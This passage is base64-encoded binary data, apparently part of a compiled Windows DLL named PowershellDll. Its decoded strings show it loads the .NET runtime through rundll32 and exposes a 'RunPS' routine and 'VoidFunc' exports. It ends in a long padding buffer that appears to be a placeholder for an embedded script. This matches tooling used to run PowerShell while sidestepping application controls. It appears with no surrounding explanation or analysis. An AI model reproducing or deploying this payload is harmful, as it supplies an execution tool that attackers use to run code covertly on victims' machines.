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ALSUAEAAAAADfNQAQAAAAAJAzARADAAAAoDMBEEgzARBkMwEQAAAAAGyaARAAAAAA/////wAAAAAMAAAA+iQAEAAAAAD+////AAAAANj///8AAAAA/v///30uABCGLgAQAAAAAP7///8AAAAA2P///wAAAAD+////rD4AELA+ABAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAmEAAEAAAAABdQAAQZ0AAEP7///8AAAAAqP///wAAAAD+////AAAAAEQ3ABAAAAAAmTYAEKM2ABBAAAAAAAAAAAAAAADrNwAQ/////wAAAAD/////AAAAAAAAAAAAAAAAAQAAAAEAAABQNAEQIgWTGQIAAABgNAEQAQAAAHA0ARAAAAAAAAAAAAAAAAABAAAA/v///wAAAADQ////AAAAAP7////TPwAQ1z8AEAAAAADfNQAQAAAAANQ0ARACAAAA4DQBEGQzARAAAAAAlJoBEAAAAAD/////AAAAAAwAAACsNQAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAENPABAAAAAA5P///wAAAADU////AAAAAP7///8AAAAAnVIAEAAAAACFUgAQlVIAEP7///8AAAAA1P///wAAAAD+////AAAAAB5ZABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAb1kAEAAAAADk////AAAAANT///8AAAAA/v///0deABBLXgAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAHJiABAAAAAA/v///wAAAADY////AAAAAP7///8AAAAAfmEAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAADfYQAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAACpiABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAj3cAEAAAAAD+////AAAAANj///8AAAAA/v///wAAAABAcgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAKJ9ABAAAAAA5P///wAAAAC0////AAAAAP7///8AAAAAooEAEAAAAAD+////AAAAANT///8AAAAA/v///wAAAAD1fgAQAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAJmFABAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA9YgAEAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAD/lQAQAAAAAP7///8AAAAAxP///wAAAAD+////AAAAACSZABAAAAAAAAAAAPeYABD+////AAAAAND///8AAAAA/v///wAAAAAAmgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAHmdABAAAAAA/v///wAAAADM////AAAAAP7///8AAAAAa6QAEAAAAAD+////AAAAAND///8AAAAA/v///wAAAACfqgAQAAAAAP7///8AAAAA1P///wAAAAD+////AAAAACe3ABAAAAAA/v///wAAAADY////AAAAAP7////5xQAQDMYAEAAAAAAAAAAA/////wAAAABMOAEAAQAAAAIAAAACAAAAODgBAEA4AQBIOAEAYBkAAHAZAABeOAEAZzgBAAAAAQBQb3dlcnNoZWxsRGxsLmRsbABWb2lkRnVuYwBWb2lkRnVuYzIAAAAAxDgBAAAAAAAAAAAAcDoBAADgAADYOQEAAAAAAAAAAAB+OgEAFOEAAAQ6AQAAAAAAAAAAAJg6AQBA4QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMOgEAIjoBADo6AQBKOgEAXDoBABY/AQAGPwEA9j4BAOg+AQDUPgEAwj4BALI+AQCePgEAkj4BAII+AQCkOgEAtDoBAMo6AQDgOgEA7DoBAAg7AQAmOwEAOjsBAE47AQBqOwEAhDsBAJo7AQCwOwEAyjsBAOA7AQD0OwEABjwBABI8AQAkPAEAPDwBAEw8AQBcPAEAdDwBAIw8AQCkPAEAzDwBANg8AQDmPAEA9DwBAP48AQAMPQEAHj0BACw9AQBCPQEATj0BAFo9AQBqPQEAdj0BAIo9AQCaPQEArD0BALY9AQDCPQEAzj0BAOA9AQDyPQEADD4BACY+AQA4PgEASD4BAFY+AQBoPgEAdD4BAAAAAAAQAACACAAAgBYAAIAGAACAAgAAgBoAAIAPAACAmwEAgAkAAIAVAACAAAAAAIw6AQAAAAAAEwJHZXRNb2R1bGVGaWxlTmFtZUEAAOsCSW50ZXJsb2NrZWREZWNyZW1lbnQAAD8DTG9hZExpYnJhcnlXAABFAkdldFByb2NBZGRyZXNzAAAYAkdldE1vZHVsZUhhbmRsZVcAAEtFUk5FTDMyLmRsbAAAT0xFQVVUMzIuZGxsAABEAVN0clN0cklBAABTSExXQVBJLmRsbAACAkdldExhc3RFcnJvcgAAZwNNdWx0aUJ5dGVUb1dpZGVDaGFyABEFV2lkZUNoYXJUb011bHRpQnl0ZQBIA0xvY2FsRnJlZQDTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAwAFHZXRDdXJyZW50UHJvY2VzcwDABFRlcm1pbmF0ZVByb2Nlc3MAAAQDSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAMEBR2V0Q3VycmVudFByb2Nlc3NJZADFAUdldEN1cnJlbnRUaHJlYWRJZAAAeQJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQDnAkluaXRpYWxpemVTTGlzdEhlYWQAAANJc0RlYnVnZ2VyUHJlc2VudABjAkdldFN0YXJ0dXBJbmZvVwAYBFJ0bFVud2luZACxA1JhaXNlRXhjZXB0aW9uAADuAkludGVybG9ja2VkRmx1c2hTTGlzdABzBFNldExhc3RFcnJvcgAA6gBFbmNvZGVQb2ludGVyAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AANEARGVsZXRlQ3JpdGljYWxTZWN0aW9uAOMCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudADFBFRsc0FsbG9jAADHBFRsc0dldFZhbHVlAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAGIBRnJlZUxpYnJhcnkAPgNMb2FkTGlicmFyeUV4VwAAGQFFeGl0UHJvY2VzcwAXAkdldE1vZHVsZUhhbmRsZUV4VwAAzwJIZWFwRnJlZQAAywJIZWFwQWxsb2MALQNMQ01hcFN0cmluZ1cAAC4BRmluZENsb3NlADMBRmluZEZpcnN0RmlsZUV4QQAAQwFGaW5kTmV4dEZpbGVBAAoDSXNWYWxpZENvZGVQYWdlAGgBR2V0QUNQAAA3AkdldE9FTUNQAAByAUdldENQSW5mbwCGAUdldENvbW1hbmRMaW5lQQCHAUdldENvbW1hbmRMaW5lVwDaAUdldEVudmlyb25tZW50U3RyaW5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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABwQwEQAAAAALD4ABABAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFhGARAAAAAAAAAAAAAAAABYRgEQAAAAAAAAAAAAAAAAWEYBEAAAAAAAAAAAAAAAAFhGARAAAAAAAAAAAAAAAABYRgEQAAAAAAAAAAAAAAAAAAAAAAAAAAAgRwEQAAAAAAAAAAAw+wAQsPwAEEj2ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYRQEQcEMBEEMAAAAAAAAAAAAAAAAAAAAAAAAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIgAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD+////LgAAAC4AAAAAAAAAFEcBEJykARCcpAEQnKQBEJykARCcpAEQnKQBEJykARCcpAEQnKQBEH9/f39/f39/GEcBEKCkARCgpAEQoKQBEKCkARCgpAEQoKQBEKCkARD+////AAAAAAAAAAAAAAAAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBBAEEAQQBB